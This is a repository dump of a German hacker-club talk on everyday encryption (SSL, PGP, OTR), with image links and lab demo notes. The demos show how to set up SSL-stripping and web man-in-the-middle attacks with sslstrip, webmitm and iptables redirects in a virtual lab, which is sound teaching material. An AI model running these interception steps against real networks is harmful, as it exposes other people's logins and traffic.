Verschlüsselung im Alltag
44 |Stefan Schlott
45 |
46 |
47 |
48 |
49 |
├── .gitignore ├── assets ├── title.jpg ├── schloss.jpg ├── title-otr.jpg ├── title-pgp.jpg ├── title-ssl.jpg ├── fingerprint.jpg ├── key-red-arrow.jpg ├── prz_closeup.jpg ├── ssl-chain-net.jpg ├── title-basics.jpg ├── title-fazit.jpg ├── key-green-arrow.png ├── ssl-chain-user.jpg ├── ssl-studivz-log.png ├── ssl-chain-browser.jpg ├── ssl-chain-computer.jpg ├── ssl-chain-server.jpg ├── ssl-studivz-login.png ├── great-job-youre-fucked.jpg ├── ssl-studivz-mitsslstrip.png ├── ssl-studivz-ohnesslstrip.png ├── ssl-untrusted-connection.jpg ├── extract-license.sh ├── cc.by-nc-sa.eu.svg ├── web-of-trust-legende.svg └── web-of-trust-1.svg ├── lib ├── cccs │ ├── logo.png │ ├── chaosknoten.png │ ├── cccs.css │ └── chaosknoten.svg ├── styles.css └── slides.js ├── demo ├── 0-setup │ └── installation.txt ├── 1-sslstrip │ ├── sslstrip.txt │ └── setup-sslstrip.sh └── 2-webmitm │ ├── webmitm.txt │ ├── setup-webmitm.sh │ └── sslsniff.txt ├── README.md └── folien.html /.gitignore: -------------------------------------------------------------------------------- 1 | *~ 2 | .*swp 3 | -------------------------------------------------------------------------------- /assets/title.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/title.jpg -------------------------------------------------------------------------------- /assets/schloss.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/schloss.jpg -------------------------------------------------------------------------------- /lib/cccs/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/lib/cccs/logo.png -------------------------------------------------------------------------------- /assets/title-otr.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/title-otr.jpg -------------------------------------------------------------------------------- /assets/title-pgp.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/title-pgp.jpg -------------------------------------------------------------------------------- /assets/title-ssl.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/title-ssl.jpg -------------------------------------------------------------------------------- /assets/fingerprint.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/fingerprint.jpg -------------------------------------------------------------------------------- /assets/key-red-arrow.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/key-red-arrow.jpg -------------------------------------------------------------------------------- /assets/prz_closeup.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/prz_closeup.jpg -------------------------------------------------------------------------------- /assets/ssl-chain-net.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/ssl-chain-net.jpg -------------------------------------------------------------------------------- /assets/title-basics.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/title-basics.jpg -------------------------------------------------------------------------------- /assets/title-fazit.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/title-fazit.jpg -------------------------------------------------------------------------------- /lib/cccs/chaosknoten.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/lib/cccs/chaosknoten.png -------------------------------------------------------------------------------- /assets/key-green-arrow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/key-green-arrow.png -------------------------------------------------------------------------------- /assets/ssl-chain-user.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/ssl-chain-user.jpg -------------------------------------------------------------------------------- /assets/ssl-studivz-log.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/ssl-studivz-log.png -------------------------------------------------------------------------------- /assets/ssl-chain-browser.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/ssl-chain-browser.jpg -------------------------------------------------------------------------------- /assets/ssl-chain-computer.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/ssl-chain-computer.jpg -------------------------------------------------------------------------------- /assets/ssl-chain-server.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/ssl-chain-server.jpg -------------------------------------------------------------------------------- /assets/ssl-studivz-login.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/ssl-studivz-login.png -------------------------------------------------------------------------------- /assets/great-job-youre-fucked.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/great-job-youre-fucked.jpg -------------------------------------------------------------------------------- /assets/ssl-studivz-mitsslstrip.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/ssl-studivz-mitsslstrip.png -------------------------------------------------------------------------------- /assets/ssl-studivz-ohnesslstrip.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/ssl-studivz-ohnesslstrip.png -------------------------------------------------------------------------------- /assets/ssl-untrusted-connection.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cccs/Vortrag-VerschluesselungImAlltag/master/assets/ssl-untrusted-connection.jpg -------------------------------------------------------------------------------- /demo/0-setup/installation.txt: -------------------------------------------------------------------------------- 1 | Backtrack in Virtualbox installieren. 2 Netzwerk-Interfaces: 2 | 1. Interface: Host-only adpater 3 | 2. Interface: Bridged adapter 4 | -------------------------------------------------------------------------------- /demo/1-sslstrip/sslstrip.txt: -------------------------------------------------------------------------------- 1 | In Backtrack: 2 | - Prüfen, ob Defaultroute auf Bridged Device 3 | - SSL-Strip herunterladen und entpacken 4 | - IP-Forwarding an 5 | - IP-Tables-Prerouting-Eintrag gemäß README 6 | iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 7 | - sslstrip starten, Protokoll in Logdatei schreiben 8 | python sslstrip.py -l 10000 -w log.txt 9 | In Hostsystem: 10 | - Defaultroute löschen 11 | - Defaultroute auf Host-Only-Interface setzen 12 | - Profit :-) 13 | 14 | -------------------------------------------------------------------------------- /demo/2-webmitm/webmitm.txt: -------------------------------------------------------------------------------- 1 | In Backtrack: 2 | - Prüfen, ob Defaultroute auf Bridged Device 3 | - IP-Forwarding an 4 | - IP-Tables-Prerouting-Einträge: 5 | iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 80 6 | iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-ports 443 7 | - webmitm starten: 8 | webmitm -dd 9 | (beim ersten Aufruf werden Key+Zertifikat in die Datei webmitm.crt generiert) 10 | In Hostsystem: 11 | - Defaultroute löschen 12 | - Defaultroute auf Host-Only-Interface setzen 13 | -------------------------------------------------------------------------------- /demo/2-webmitm/setup-webmitm.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | IN_DEV=$1 3 | if [ -z "$IN_DEV" ] ; then 4 | echo "Required parameter: Input device (e.g. eth1)" 5 | exit 1 6 | fi 7 | echo "Flushing iptables" 8 | iptables -F 9 | iptables -t nat -F 10 | echo "Intercepting port 80 and 443" 11 | iptables -i $IN_DEV -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 80 12 | iptables -i $IN_DEV -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 443 13 | echo "Enabling IP forwarding" 14 | echo 1 > /proc/sys/net/ipv4/ip_forward 15 | 16 | -------------------------------------------------------------------------------- /assets/extract-license.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | EMPTY="" 3 | for i in $* ; do 4 | COMMENT=`exiv2 -q -Pt -g Exif.Photo.UserComment $i` 5 | if [ -n "$COMMENT" ] ; then 6 | LINK=`echo $COMMENT | sed "s/^.*Source: \([^ ]*\).*$/\1/"` 7 | LICENSE=`echo $COMMENT | sed "s/^.*License: \([^ ]*\).*$/\1/"` 8 | LICENSE=`echo $LICENSE | sed "s/Attribution/BY/;s/NonCommercial/NC/;s/ShareAlike/SA/;s/NoDerivs/ND/"` 9 | echo "